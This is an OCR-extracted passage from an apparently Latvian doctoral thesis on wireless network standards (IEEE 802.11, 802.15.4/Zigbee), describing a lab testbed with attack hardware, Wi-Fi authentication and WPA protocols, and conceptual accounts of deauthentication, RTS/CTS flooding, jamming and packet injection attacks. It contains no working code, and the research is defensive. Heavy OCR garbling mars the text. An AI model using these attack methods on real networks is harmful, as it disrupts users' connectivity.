Pielikumos doti papildu materiali, tostarp uzbrukumu un aizsardzibas pasakumu istenosanas

palaisanas programmas kods, testa tikla grafiks, ka arT paplasinati eksperimentu rezultati.
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BEZVADU SAKARU TIKLA STANDARTU SALIDZINAJUMS
UN KLASIFIKACIJAS NOVERTEJUMS

Misdienu tikla tehnologijas tradicionali balstas gan vadu, gan bezvadu risinajumos. Vadu
risinajumi ir vienkarsi un ietver kabelus, pieméram, CAT5, CAT5e un CAT6. Sados tiklos viens
kabela gals tiek pievienots datoram, savukart otrs — komutatoram (anglu val. network switch)
vai marSrutétdgjam (anglu val. network router). Lai arT vadu risinajumi tiek uzskafiti par
klasiskam tehnologijam, tie joprojam ir efektivi. Tomér misdienu tiklu attistiba arvien lielaka
nozime ir bezvadu risindgjumiem, kas ievérojami ietekmé tirgu. Bezvadu tehnologijas nav
piemérotas tikai portativajiem un personalajiem datoriem, bet arT viedajam majam. Bezvadu
platjoslas tehnologijas musdienas nodro$ina lietotajam plasu piekluves iesp&ju spektru [17—
18]. Nodalas sakuma aprakstiti IEEE 802.11 un IEEE 802.15.4 standarti. Apvienojot §s datu
parraides tehnologijas, iesp&jams izveidot hibridu darbibas shému, kas vienlaikus atbalsta abus
standartus. IEEE 802.11 standarts tiek izmantots IEEE 802.11ax versija, darbojoties 5 GHz
frekvenéu joslas diapazona. Sada izvéle palidz samazinat tikla trauc&jumu risku (interferenci),
kad tas darbojas paraléli ar IEEE 802.15.4. IEEE 802.11 ir pamats tradiciondlajam interneta
komunikacijam, ka arT attalinatai piekluvei, piem@ram, izmantojot SSH protokolu. Savukart
IEEE 802.15.4 tiek lietots ka veido maju risinagjumu baze, darbojoties Zighee protokola
2,4 GHz frekvencu josla. Tiesi Saja tikla tiek veikti dazadu uzbrukumu ievieSanas testi, tikla

uzvedibas analize un aizsardzibas mehanismu novertésana pret kiberuzbrukumiem.

bezvadu ikdciju un SSH tiek Sinata)
attalinata piek|uve katrai sazinas iericei, lai kontrolétu JEEE 802.15.4
tikla darbibu un palaistu nepiecieSamas programmas.
lzmantojot 5 GHz frekvencu

joslu, ir nodrodinats bezvadu
savienojums ar Raspberry
Pi, kas atbalsta $o darbibas

1.1. att. Eksperimentalas bezvadu IEEE 802.11 tikla arhitektiiras shema IEEE 802.15.4

komunikacijas kontrolei.
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. Raspbee Il komutators
. ¢ prieks Zigbee iericem

HackRF One modulis, kas
darbojas noteikta frekvencu
diapazona un
kopd ar CC2531, lai ieviestu

St pretpasakumus uzbrukumiem
- Zigbee tikla.

frekvencu josla. To izmanto, lai analizétu un simulétu
raucéjumus bezvadu tiklos, veiktu pakesu partversanu, ki al
testétu loT ieritu drogTbu pret iespjamiem uzbrukumiem,
pieméram, jamming vai pakesu injekciju.

komutacijai un savienojumiem.

RZUSBstick uzbrukuma modulis, kas darbojas 2,4 GHz
t i

lzmantojot Zigbee 2,4 GHz frekvencu joslu, tiek nodrosinati|
ienojumi ar viediericam. Tikla stavokli, mérj
iestatlumus iespéjams parraudzit, izmantojot deCONZ vai
Phoscon App.

CC2531 pakesu
monitorésanas modulis

(USB) uztver paketes ar RSS!
un caurlaidspéjas vertibam
no RaspBee Il Komutatora un
viediericém.

|||;

un mitruma mérijumu

sensors Viedais temperatiiras
mérfjumu sensors

1.2. att. Eksperimentala Zigbee tikla arhitektiira ar uzbrukumu, aizsardzibas mehanismiem un

viediericém.

IEEE 802.11 standarta drosibas mehanismu un veiktspéjas parametru
analize hibridtiklu lietojumu aspekta

Sakaru tiklu shemas struktiira tiek veidota, izmantojot IEEE 802.11 bezvadu standartu (Wi-
Fi protokolu). Tikls ietver bezvadu piekluves marSrutétaju un gala ierices, kas atbalsta IEEE
802.11ax standartu 5 GHz frekvenéu josla. Saja apaksnodala apskatits IEEE 802.11 standarts,
pieverSot uzmanibu ar1 kiberdrosibas jautajumiem. |EEE 802.11 ir fiziska slana un vides
piekluves vadibas kopums, un tas atbalsta dazadas frekvences joslas (2,4 GHz, 5 GHz, 6 GHz
un 60 GHz) [20].

IEEE 802.11 protokola standarti, kas pirmo reizi tika ieviesti 1997. gada, galvenokart
izstradati, paturot prata majas un biroju vidi bezvadu lokalajam savienojumam, lai nodro$inatu
datu parraidi bezvadu vide. Kops ta laika standarti piedzivojusi vairakas nozimigas evoliicijas,
tostarp IEEE 802.11a, 802.11b, 802.11g, 802.11n, 802.11ac un jaunakais IEEE 802.11ax
standarts, kas pazistams ka Wi-Fi 6 [19-20].
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IEEE 802.11 standarta galvenais mérkis ir nodro$inat atru, uzticamu un mérogojamu datu
parraidi lokalajos bezvadu tiklos, vienlaikus piedavajot lietotajiem mobilitates atbalstu un

augstu savienojamibas pakapi. Wi-Fi sakaru tiklu galvenie veiktspgjas raksturlielumi ir:

o tikla caurlaidspéja (anglu val. throughput), kas ir svariga, lai novértétu tikla veiktspgju
un lietojamibu dazadas jomas;

e maksimala caurlaidsp&ja (anglu val. capacity) raksturo tikla maksimalo potencialo
datu plismas apjomu, ko var apstradat konkrétaja tikla noteikta laika vieniba;

e pakeSu zudums (anglu val. packet loss), kas ir svarigs, lai apskatitu, cik liels
informacijas zudums ir konkrétaja laika vieniba;

e trice (anglu val. jitter) — norada aiztures mainigumu starp secigiem pakeSu sttiSanas
laikiem;

e aizture (anglu val. delay) — kopgjais laiks, kas nepiecieSams datu paketes nogadasanai
no avota lidz galamérkim;

¢ latentums (anglu val. latency) — laiks no datu pieprasijuma lidz pirmas atbildes paketes
sanemsanai;

e atbildes laiks (anglu val. response time) — laiks, kas nepiecieSams, lai pilniba

apstradatu un atbildétu uz datu pieprasijumu [19].

IEEE 802.11 standarts izmanto vairakas frekvencu joslas. Popularakais ir 2,4 GHz
frekvences joslas diapazons, jo tas ir savietojams ar lielako dalu pasaulé izmantoto ieri¢u un
nodros$ina lielaku parklajuma zonu. Tomér $aja frekvencu josla darbojas arf citas ierices, kas
izmanto citus standartus, pieméram, Bluetooth (IEEE 802.15.1) un Zigbee (IEEE 802.15.4),
tadejadi radot traucgjumus. Savukart 5 GHz frekvencu josla piedava augstaku datu parraides
atrumu un mazaku trauc€jumu limeni, taéu nodro$ina mazaku parklajuma attalumu neka 2,4
GHz josla. Jaunakais frekvences josla diapazons ir 6 GHz, kas tika ieviests kopa ar Wi-Fi 6E

standartu, lai vél vairak samazinatu trauc€jumus un palielinatu pieejamo joslas platumu [20].
IEEE 802.11 standarta fiziska slana darbibas principu un parametru apraksts

IEEE 802.11 standarts ir protokola steks, kas atbilst vispargjai standartu struktiirai IEEE
802.X. 802.11 ka standartizacijas struktiira sastav no fiziska slana tehnologijas (PHY) un kanala
limena péc OSI modela ar multivides piekluves kontroles protokolu (MAC) un logiska posma
vadibas protokola (LLC). Visos IEEE 802.11 standartos ir definéts fiziskais slanis un MAC,
savukart apaksslanis LLC nodrosina visas LAN tehnologiju standarta funkcijas [21-22].
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Fiziskaja slani eksisté daudz specifikacijas variantu, kas atskiras ar izmantoto frekvencu
diapazonu, kodésanas metodi un datu parraides atrumu. Visos specifikacijas variantos tiek
izmantots viens un tas pats piekluves algoritms parraides videi, kas darbojas fiziskaja slant un

MAC apaksslant.

IEEE 802.1: Autentifikacija (802. 1X)
Datu
posma
slanis
Vides piekluves vadibas apak3sslanis (MAC)
. . FHSS, HT HE-
T | msss | T || | ol | e | o

1.3. att. IEEE 802.11 standarta darbibas steks [33].

Fiziskais slanis ir atbildigs par datu parraidi bezvadu kanalos, izmantojot
elektromagnétiskos signalus (impulsus). IEEE 802.11 standarts fiziskaja slani piedava vairakas
alternativas datu parraides vides. Galvenokart tas ir radiovilnu tehnologijas, kas darbojas 2,4—
5,8 GHz frekvencu joslas diapazona, kas ietilpst ISM vai UNII. Teprieks IEEE 802.11 paredz&ja
ari datu parraidi, izmantojot infrasarkano starojumu, tacu $1 tehnologija vairs netiek izmantota
[24, 34].

IEEE 802.11 standarta fiziskaja slan katrai standarta versijai tiek izmantotas specifiskas
modulacijas tehnologijas, kas tiesi ietekm& datu parraides atrumu, uzticamibu un noturibu pret
trauc€jumiem. lepriek$ IEEE 802.11 standartos, pieméram, 802.11 un 802.11b, tika izmantota
tieSas secibas izkliedéta spektra tehnologija (DSSS) un frekvenéu l&cienu izkliedéta spektra
tehnologija (FHSS). Tomér miasdienu Wi-Fi tiklos, sakot no IEEE 802.1la/g un ipasi
802.11n/ac/ax, tick izmantotas daudz efektivakas modulacijas metodes, pieméram, OFDM,
kas nodroSina ievérojami lielaku datu parraides atrumu, uzticamibu un spektra efektivitati.
DSSS un FHSS tehnologijas Wi-Fi standartos musdienas praktiski netiek izmantotas zemo datu
parraides atrumu un ierobeZotas spektra efektivitates dél. Tomér §is tehnologijas joprojam tiek
izmantotas citas bezvadu sakaru sisttmas ar zemaku datu parraides atrumu, pieméram,
industrialajas un sensoru tiklu sistémas (Zigbee — IEEE 802.15.4, Bluetooth — IEEE 802.15.1),
pasi gadijumos, kad prioritate ir energoefektivitate, noturiba pret trauc&umiem un uzticamiba,

nevis augsts parraides atrums [24].
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Infrasarkana komunikacija ir viena no alternativam bezvadu sakaru tehnologijam, kas tiek
izmantota datu parraidei, izmantojot elektromagnétisko starojumu infrasarkanas gaismas
spektra. ST metode balstas nenovirzitu difiiza infrasarkana starojuma izstaro$ana, kura signals
tiek izstarots griestos un pec tam atspogulot nonak uztvergja. Darbibas spektrs parasti ietver
vilnu garumus diapazona no 850 1idz 950 nanometriem. Metodei piemit vairakas prieksrocibas,
piem&ram, nav nepiecieSama preciza raiditaja un uztvergja orientacija, kas to padara praktisku
iekStelpu vidés. Tom@r infrasarkanai komunikacijai ir arT trikumi, tostarp griestu
nepiecieSamiba, kas spgj atspogulot signalu, un ierobezots darbibas radiuss — Iidz 10 metriem.
Papildu izaicingjums ir jutiba pret trauc&jumiem, tadiem ka laikapstakli vai citi gaismas avoti,

kas padara So metodi mazak efektivu artelpas [24].
1. tabula

IEEE 802.11 standartu salidzinajums. Modulacijas metodes, raksturojums un parraides atrumi

[23].

|EEE standarts Modulacijas metode Raksturojums Parraides atrums [Mbit/s]

802.11a OFDM PHY Darbojas 5 GHz josla, samazina | Lidz 54 Mbit/s
traucjumus un lauj paraléli

parraidit vairakus kanalus.

802.11b HR/DSSS Uzlabota DSSS  tehnologija, | Lidz 11 Mbit/s
darbojas 24 GHz josla,
piedavajot lielaku parklajumu,

jutiga pret trauc&umiem.

802.11g ERP,  apvienojot Apvieno 802.11a atrumu ar | Lidz 54 Mbit/s
OFDM un DSSS 802.11b parklajumu, darbojoties
2,4 GHz josla.
802.11n HT PHY ar OFDM Ievie§ MIMO tehnologiju, laujot | Lidz 600 Mbit/'s (MIMO

vienlaikus izmantot vairakus | 4 x4 :4)
antenas signalus. Atbalsta 2,4

GHz un 5 GHz joslas.

802.11ac VHT PHT ar 256 QAM Nodrogina lielaku datu blivumu | Lidz 6,9 Gbit/s (MIMO 8 x 8 : 8)
un plasaku kanalu (lidz 160
MHz) izmanto$anu, darbojoties

tikai 5 GHz josla.

802.11ax HE-OFDMA Nodrosina  efektivu  kanalu | Lidz 9,6 Gbit/s
daliSanu starp vairakam iericém.
1024 QAM modulacijas metode

palielina datu parraides atrumu.
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1. tabula skaidri tiek paradits IEEE 802.11 standarta progress no pamata FHSS un DSSS
metodém 1idz miisdienu sarezgitam tehnologijam, pieméram, 1024 QAM un OFDMA. Sis
progress ir ievérojami palielingjis parraides atrumus no sakotngjiem 2 Mbit/s Iidz pat 9,6 Ghit/s.
Turklat katra standarta modulacijas tehnologijas un frekvencu joslu izmantoSanas izvéle ir
bijusi pielagota, lai risinatu traucgumu mazinasanas, lielaku parklajumu un augstu blivuma
tiklu efektivitates problémas [25].

Promocijas darba rakstiSanas laika ir paradijusies nakamais paaudzes bezvadu standarta
tehnologija — IEEE 802.11be, kas paredzéta, lai ievérojami palielinatu datu parraides atrumu,
samazinatu latentumu un uzlabotu tikla elastibu. Galvenas Tpasibas ir jauns fiziska slana rezims
— EHT PHY, kas nodrosina parraides atrumu lidz 46 Gbit/s, 4096 QAM izmantoSana, kas lauj
efekttvi izmantot kanala kapacitati, kanalu platums lidz 320 MHz, ieverojami palielinot
caurlaidsp&u, MLO tehnologijas, kas nodrosina vairaku saiknu vienlaikus izmanto$anu
dazadas frekvendu joslas, un reala laika lietojumprogrammas (anglu val. Real-Time

Application) izmantoSana [26-27].

IEEE 802.11 standarta datu posma slana darbibas principu un parametru apraksts

K3 iepriek§ minéts, péc IEEE 802.11 standarta informacijas parsatiSanai strada divi slani
péc OSI modela — datu posma slanis un fiziskais slanis. Datu posma slana pamatuzdevums —

datu nodosanas process starp iericém, un tas ietver divus pamata apaksslanus.

e Logiska posma vadiba (LLC) — atbild par datu pliismas kontroli un klidu labosanas
mehanismiem un nodro§ina saskarni starp pargjiem OSI slaniem un MAC slani [28-29].
e Vides piekluves vadiba (MAC) —kontrolg, ka ierices piekliist kopigajam bezvadu tikla

resursam un nodroSina koliziju novér$anu, izmantojot CSMA/CA mehanismu [28-29].

Multivides piekluves kontroles protokols ir kritiska komponente bezvadu tiklu
funkciong&$ana, jo tas regulé€ un parvalda piekluvi koplietojamam kanalam. MAC protokols ir
atbildigs par efektivu joslas platuma izmantoSanu un datu parraides nodro$inasanu ar
minimalam pieskaitimajam izmaksam. Sis apak$slanis nodrogina funkcionalitati vairakiem
uzdevumiem, piem&ram:

e drosa piekluve tikla; atbalsta autentifikacijas procesu, sadarbojoties ar augstakiem

tikla Itmeniem, lai parbaudttu lietotaju identitati un kontroletu piekluvi;
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e Konfliktu novérSana; izmanto mehanismus, pieméram, CSMA/CA, lai minimizétu
pakesu sadursmes koplietotaja kanala;

e (datu plusmas kontrole; nodroSina vienmerigu datu parraidi, nepielaujot tikla
parslodzi;

e energijas taupiSana; Optimiz&ta ieri¢u darbiba, lai samazinatu energijas patérinu, pasi

mobilajam iericEém un lietu interneta iericem [28].

MAC protokola uzdevums ir ne tikai nodro$inat datu parraides efektivitati, bet arl
apmierinat kvalitates prasibas (Q0S), kas ir kritiskas reallaika lietojumprogrammam,

pieméram, balss un video straumé$anai un parametri, kas ietver:

e zemus pakeSu zudumus; nodrosina datu integritati un uzticamibu;

e minimalu aizturi; Kritiski svariga reallaika datu parraidei, pieméram, VoIP un video
Zvaniem;

e prioritasu pieskir$anu; izskir starp dazadu tipu datu plismam, piem&ram, pieskirot

augstaku prioritati reallaika strauméSanai, salidzinot ar parastu datu parstisanu [28].

MAC protokols izmanto pakalpojumu diferencéSanas metodes, pieskirot prioritati
svarigakajiem datu veidiem un optimizgjot tikla resursu sadali. Turklat MAC slanis nodroSina
pielagojumu dazadiem bezvadu tiklu standartiem, pieméram, IEEE 802.11, lai atbalstitu gan
privatos, gan publiskos tiklus, galvenokart izmantojot lidzigu principu ka Ethernet LAN jeb
IEEE 802.3, tacu IEEE 802.11 standarta bezvadu tiklos sadursmju noteikSana nav iespgama
pusduplekso radiouztver&ju dél. Tapeéc MAC protokols ievies CSMA/CA mehanismu, kas
meégina izvairities no sadursmém, izmantojot datu parraides apstiprinajumus (ACK). Uztvérgja
stacija nosiita apstiprinajuma paketi, lai noraditu, ka sanemtie dati ir neskarti [29, 35].

IEEE 802.11 standarts definé divus galvenos piekluves mehanismus, kas regulé datu
parraidi  koplietojama kanala — izkliedéta koordinacijas funkcija (DCF) un punkta
koordinacijas funkcija (PCF). Tie ir mehanismi, kas izstradati MAC protokolam, lai
nodrosinatu efektivu kanala izmantoSanu, mazinatu sadursmju iespg&jamibu un optimiz&tu datu
parraides caurlaidsp&ju. DCF ir standarta pamatmehanisms, kas balstas CSMA/CA protokola,
un §is mehanisms nodrosina, ka stacijas pirms datu parraides vienmér parbauda kanala stavokli.
Ja kanals ir brivs, datu parraide tiek uzsakta un uztvergjs nosiita apstiprinajuma (ACK) signalu,
lai noraditu, ka datu pakete ir veiksmigi sanemta. Ja kanals ir aiznemts vai nav pieejams, tad

stacija gaida nejausi izv€letu laika periodu pirms atkartotas parbaudes. DCF mehanisms ir tpasi
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efekttvs vidés ar nelielu datu plismu, ta¢u tam var biit palielinata aizture un zemaka
efektivitate, ja tikla ir liels staciju skaits [29, 35-37].

PCF ir centralizéts mehanisms, kas nodroina stingraku kanala piekluves kontroli. ST
mehanisma darbibu koording piekluves punkts (AP), kas izmanto aptaujas (anglu val. polling)
tehnologiju, lai noteiktu, kura stacija drikst parsatit datu noteikta laika. PCF mehanisms ir ipa$i
noderigs reala laika informacijas parraides nodroSinasanai, pieméram, balss zvaniem vai video
straum@Sanai, jo tas samazina sadursmju iesp&jamibu un nodrosina datu pliismu prioritates.
Tomér §Is mehanisms reti tiek izmantots praktiskos lictojumos sarezgitibas un ierobeZotas
elastibas dé] [38].

Papildus piekluves mehanismiem IEEE 802.11 MAC protokols nodroSina vairakas
funkcijas, kas uzlabo tikla drosibu, uzticamibu un pieejamibu. Viena no svarigakajam
funkcijam ir autentifikacija, kas nodroSina lietotaju un iericu identitates parbaudi, pirms tiek
pieskirta piekluve tiklam. Autentifikacijas process nodrosina, ka tiklam piekluvi ieglist tikai
autoriz&tas stacijas, vienlaikus nover$ot nesankcionétas piekluves méginajumus. Ar $o procesu
ir saistits deautentifikacijas process un privatuma nodroSinasana, kas pasargd datus no
nesankcionétas piekluves vai manipulacijam datu parraides laika. Modernos IEEE 802.11
standartos tiek izmantoti dro$ibas protokoli, pieméram, WPA2 un WPA3, lai nodrosinatu
spécigu §ifré8anas aizsardzibu [19, 39].

Savienojuma sistémas vadiba ir vél viens svarigs MAC protokola elements, kas nodroS§ina
vienmérigu un efektivu datu plismu tikla. ApvienoSanas process (anglu val. association) lauj
stacijam pieslégties pie piekluves punkta un izveidot stabilu savienojumu, savukart
norobeZosanas process (anglu val. disassociation) atvieno staciju no tikla, ja savienojums vairs
nav nepiecieSams. Integracijas funkcijas nodro$ina efektivu datu parraidi starp dazadiem tikla
segmentiem, kas ir Tpasi svarigi sarezgitas tikla infrastruktiras vides [19, 29].

Kopuma multivides piekluves vadibas protokols ir butiska IEEE 802.11 standarta datu
posma slana sastavdala, kas nodro$ina augstu pakalpojumu kvalitati (Q0S) un uzticamu tikla
darbibu. Tas pielagojas dazadiem lietoSanas scenarijiem — no vienkar§am datu parraidém lidz
pat sarezgitam reallaika lietojumprogrammam. DCF un PCF mehanismu kombinacija kopa ar
plaSo funkciju klastu padara IEEE 802.11 MAC protokolu par universalu risinajumu miisdienu
bezvadu tiklu vajadzibam [40].

Logiska posma vadibas slanis (LLC) IEEE 802.11 standarta ir sarezgits un butisks datu
posma slana komponents, kas nodrosina galveno saikni starp vides piekluves vadibas (MAC)
protokola slani un augstakiem OSI modela slaniem. Tas kalpo ka parvaldibas mehanisms, kas

ne tikai nodrosina savienojamibu starp dazadam tikla tehnologijam, bet arT garanté datu
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integritati, plismas vadibu un kltidu kontroli, kas ir svarigi, lai sasniegtu augstu tikla veiktsp&ju
un uzticamibu [41].

IEEE 802.11 LLC slanis ir veidots saskana ar IEEE 802.2 standartu, kas nosaka ta struktiiru
un darbibas principus. Tas bitiskakie elementi ietver DSAP un SSAP adresacijas sistémas,
kontroles lauku datu apstradei, ka arT parbaudes mehanismus, pieméram, cikliskas atkartoSanas
parbaudi (CRC). Sie elementi veido veselu datu kadra formatu, kas lauj gan precizi identificét
datu plismas, gan noverst kliidas, kas varétu rasties parraides procesa. LLC slana datu kadra
struktiira atspogulo ta daudz slanaino funkcionalitati. Piem&ram, DSAP un SSAP adreses
nodros§ina mérka un avota identificé$anu tikla, kas ir kritiski svarigi marSrutéSanas procesam.
Kontroles lauki lauj defin&t datu kadra tipu, nodro$inot vadibas informacijas pievienosanu, kas
ir nepiecieSama plismas un kludu kontroles mehanismiem. CRC mehanisms veic galigo
parbaudi, nodro§inot datu integritati un samazinot kltidu skaitu datu parraides laika [19].

LLC slana funkcijas ir butiskas IEEE 802.11 tiklu darbibai. To galvenas darbibas ietver
datu iekapsulesanu, kur augstako slanu dati tiek integréti LLC datu vienibas un sagatavoti
parraidei caur MAC slani. ST iekapsulé$anas funkcija ne tikai nodrosina datu integritati, bet ari
palidz uzturét savienojumu starp IEEE 802.11 un citam tikla tehnologijam, piemé&ram, lokalo
tiklu (LAN) [41].

Savienojumu parvaldiba ir v&l viena svariga LLC slana funkcija, jo ta ietver savienojuma
izveidi, uzturd$anu un partrauk$anu. Sis mehanisms ir Ipasi nozimigs dinamiskos tiklos, kur
ierices biezi maina atraSanas vietu vai tikla statusu. Savienojuma uzturéSana tiek veikta ar
atbilsto$iem kontroles signaliem, kas garantg stabilu datu apmainu pat sarezgitas tikla vidés un
sp&j nodro$inat savienojamibu starp dazadam IEEE tehnologijam, kas ir viens no ta
svarigakajiem ieguldijumiem miisdienu tikla infrastruktiira. Tas nodro$ina vienotu standartu,
kas lauj dazadiem tikla elementiem efektivi sadarboties, samazinot sarezgitibu un veicinot tikla
resursu efektivu izmanto$anu [41].

Turklat LLC slanis uzlabo tikla elastibu un uzticamibu, jo tas spgj reagét uz izmainam tikla
vidé un garantét, ka datu parraide notiek bez kliidam un traucgjumiem. S1sp&ja ir Tpasi batiska,
nemot véra misdienu pieprasijumu péc augstas veiktsp&jas bezvadu tiklu risinajumiem, kas
tiek izmantoti tadas jomas ka 10T, 5G tikli un reallaika lietojumprogrammas.

Logiska posma vadibas slanis IEEE 802.11 tikla ir daudzfunkcionals komponents, kas
apvieno robustu struktiiru ar plaam funkcionalitates iesp&jam. Ta sp&ja nodrosinat datu
plusmas vadibu, savietojamibu un kludu kontroli padara to par neaizstdjamu elementu

miusdienu tikla arhitekttra.
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IEEE 802.11 standarta autentifikacijas mehanismu un drosibas protokolu analize

Autentifikacija IEEE 802.11 standarta ietvaros ir pamatmehanisms, kas nodrosina to, ka
tiklam pieklast tikai autorizétas ierices un lietotaji. ST procesa mérkis ir ne tikai kontrolgt
piekluvi tiklam, bet ari aizsargat parraiditos datus no nesankcionétas piekluves un
manipulacijam. Autentifikacijas metodes un droSibas lidzekli IEEE 802.11 standarta ir
ieverojami attistijusies, atbildot uz jauniem dro$ibas izaicinajumiem un arvien pieaugoso datu
apjomu, kas tiek parraidits bezvadu tiklos [19, 42].

IEEE 802.11 sakotngja versija nodro§inaja divus autentifikacijas mehanismus — atvérto

autentifikaciju un kopéjas atslégas autentifikaciju [42].

Autentifikacijas pieprasijums

)
% Autentifikacijas atbilde

1.4. att. Autentifikacijas process [42].

Atverta autentifikacija ir vienkarSa un neprasa droSibas akreditacijas informacijas
apmainu. Lietotdjs nostta autentifikacijas pieprasijumu piekluves punktam (AP), kas apstiprina
pieprasijumu bez papildu parbaudes. ST metode tika izstradata tiklos, kuros drosibas prasibas
ir minimalas. Tomér ta neietver nekadu aizsardzibu pret nesankciong&tu piekluvi vai tre$as puses
noklausiSanos, padarot to arkartigi neaizsargatu [42].

Kopgjas atslegas autentifikacija izmanto ieprieks koplietotu atslégu (PSK), lai autentificétu
lietotajus. Procesa laika AP nosiita izaicinajuma tekstu klientam, kur§ So tekstu $ifré ar PSK un
nosita atpakal AP. Piekluves punkts atsifré sanemto tekstu un salidzina to ar sakotn&jo. Lai
gan $T metode nodro§ina augstaku drosibas ITmeni, salidzinot ar atvérto autentifikaciju, ta ir
paklauta uzbrukumiem, pieméram, atkartosanai (anglu val. replay) vai vajo parolu uzlausanai
[43].

Lai parvarétu sakotngjo autentifikacijas mehanismu ierobezojumus un paaugstinatu tiklu
drogibu, IEEE 802.11 standarts ieviesa vairakus paplasinajumus, kas biutiski uzlabo
autentifikacijas procesus un datu §ifréSanu. Sie paplasinajumi ietver WPA, WPA2 un WPA3
protokolus, kas piedava arvien modernakus aizsardzibas mehanismus pret iesp&amiem
drosibas draudiem [19, 44].

WPA tika izstradats ka parejas risinajums starp sakotng&jo IEEE 802.11 autentifikaciju un
pilniba izstradato WPA2. Ta galvenais mérkis bija noverst tobrid aktualas WEP ievainojamibas,

kas padarija bezvadu tiklu neaizsargatu pret uzbrukumiem. Sis standarts ieviesa TKIP, kas
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nodroSindja dinamisku S§ifréSanas atslégu parvaldibu. TKIP izmantoja SifréSanas atslégu
parveides uzbrukuma risku. Turklat TKIP pievienoja zinu integritates parbaudes (MIC)
mehanismu, kas nodro$indja datu integritati un aizsargaja pret pakesu viltoSanu (anglu val.
packet injection). Papildus S$ifréSanas uzlabojumiem WPA ieklava IEEE 802.1X portu
parvaldibas standartu, kas nodroSindja autentifikacijas procesu centralizaciju. Tas lava
izmantot RADIUS serverus lietotaju akreditacijas datu parbaudei, kas palielinaja korporativo
tiklu drosibu. Lai gan WPA uzlaboja WEP ievainojamibas, TKIP ierobezojumi, tostarp
ierobezota $ifréSanas jauda, padarija to par Tslaicigu risindgjumu [19, 44].

WPA2 kluva par nozimigu dro$ibas nodro$inasanas elementu IEEE 802.11 tiklos. Tas
ieviesa uzlabotu §ifréSanas standartu (AES) algoritmu, kas tika pienemts ka jaunais industrijas
drosibas standarts, piedavajot daudz augstaku drosibas limeni neka TKIP. AES tika izmantots
kopa ar CCMP, kas nodrosinaja uzlabotu datu $ifréSanu — AES §ifréSanas bloku izmantosana
garantgja, ka dati ir drosi §ifreti pat tad, ja tiek pieklits tikla komunikacijai. CCMP mehanisms
noversa iesp&ju mainit parraiditos datus vai izmantot tos launpratigos noliikos. Salidzinot ar
TKIP, CCMP piedavaja lielaku efektivitati un atraku apstradi, kas ir biitiski miisdienu augsta
atruma tiklos [44-45].

WPA2 pilniba izmantoja arT 802.1X autentifikacijas ietvaru, laujot RADIUS serveriem
veikt centralizétu un dro$u lietotaju parbaudi. ST pieeja garantgja to, ka tikai autorizéti lietotaji
vargja pieklat tiklam, kas ieverojami paaugstinaja drosibas Iimeni gan korporativajos, gan
publiskajos tiklos. Lai gan WPA2 bija ievérojams uzlabojums, ta ievainojamiba pret vajo parolu
uzbrukumiem un trikums aizsardziba atvértajos tiklos kluva par izaicindjumiem, kas bija
stimuls WPAS ieviesanai [45].

WPAS3 tika ieviests 2018. gada ka vismodernakais IEEE 802.11 drosibas standarts, risinot
WPA2 trikumus un piedavajot biitiskus uzlabojumus drosibas, lietojamibas un uzticamibas
joma [44-45].

WPAS3 izmanto vienranga vienlaikus autentificéSanas (SAE) mehanismu, kas aizvieto
tradicionalo PSK. SAE nodrosina, ka autentifikacija tiek veikta, izmantojot parolu apmainas
procesu, kas ir dro$s pret “brute force” uzbrukumiem un citiem parolu uzlauSanas
méginajumiem. Turklat SAE garant€, ka parolu apmainas process neveido vajas vietas, ko
vargtu izmantot uzbrucgji [44—45].

WPAZ3 drosibas standarts ieviesa iepriek$&jo slepenibu (anglu val. Forward Secrecy), kas
nodrosina to, ka kompromit&tas $ifréSanas atslégas neietekmé iepriek$gjas sesijas drosibu. Tas
nozimé, ka pat tad, ja uzbrucgji iegiitu $ifré8anas atslégu, vini nevarétu pieklat iepriek$&jiem
datiem. Viena no bitiskakajam WPA3 inovacijam ir oportiinistiska bezvadu §ifrésanas (OWE)
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ievie$ana, kas piedava automatisku datu $ifré$anu pieejamos tiklos. OWE nodrosina to, ka visas
komunikacijas starp lietotajiem un piekluves punktiem ir $ifrétas, tadgjadi ievérojami uzlabojot
drosibu publiskajos Wi-Fi tiklos. Papildus tam WPA3 nodro$ina 192 bitu drosibas komplektu,
kas ir Tpasi piemérots militariem un industrijas lietojumiem ar augstam drogibas prasibam. Sis
dro§ibas limenis garantg, ka dati paliek aizsargati pat loti augsta riska vidés [46].

Run@jot par autentifikaciju variacijam, ir vérts aprakstit dazadus uzbrukumus, kas var
apdraudét bezvadu tikla darbibu jebkada veida. Musdienas eksisté daudz ievainojamibu, kas
var parslogot tikla darbibu, parnpemt tiklu parvaldi, radot trauc&jumus tikla frekvences utt.

Tikla piecejamibas uzbrukumi, pieméram, pakalpojumu atteikuma uzbrukuma veids (D0S),
ir plasi izplatiti IEEE 802.11 tiklos. Sie uzbrukuma veidi ir vérsti uz tikla resursu parslodzi,
padarot tos nepieejamus likumigiem lietotajiem. Dazi no visbiezak sastopamajiem Do0S
uzbrukumu veidiem ietver deautentifikacijas un disasociacijas uzbrukums, ka ari RTS/CTS
pladus (anglu val. flooding). To mérkis ir piespiest klientu atvienoties no tikla, izmantojot
viltotus kadrus, un kadri tiek siititi no uzbrucgja ierices, kas izliekas par piekluves punktu vai
klientu. RTS/CTS pladi ir uzbrukuma veids, kas izmanto IEEE 802.11 tiklos ieviesto RTS un
CTS mehanismu un paredzeti kanala piekluves koordingSanai starp iericeém, lai noverstu
sadursmes. Arl uzbrucgjs var generct licla apjoma RTS pieprasijumus, kas tiek nosatiti
piekluves punktam, un piekluves punkts atbild ar CTS kadriem, blokgjot piekluvi kanalam
visam pargjam tikla ieric€m, samazinot tikla caurlaidsp€ju, un ierices nespgj pieklut kanalam,
paralizgjot tikla darbibu. DD0S uzbrukumi ir nakamais uzlauSanas veids, ar kura palidzibu var
pilniba atslégt uznémuma tikla infrastruktiru. DDoS — atskiriba no DoS — var veikt uzbrukumu
no dazada ieri¢u skaita. DDOS uzbrucgji rada parmérigu slodzi sistémai, nosiitot noteiktu skaitu
pieprastjumu, kurus tikla infrastruktira nevar apstradat, pieméram, botneti [47-49].

Eksistg arf iestréguma uzbrukuma veids (anglu val. jamming), kas rada elektromagn&tiskos
traucgjumus Wi-Fi frekvences. Sada veida uzbrukumus ir griiti atklat un novérst, Tpasi augsta
blivuma vidgs, kur trauc&jumu limenis jau ir augsts [50].

Paketes injekcija ir metode, kas lauj uzbrucgjam generét un nositit viltotas paketes tikla,
mask&joties par likumigu tikla dalibnieku. ST metode biezi tiek izmantota $ados uzbrukumos:
pakesu atkartota nosttiSana, lai iegiitu piekluvi Sifrétiem datiem vai palielinatu tikla trafiku,
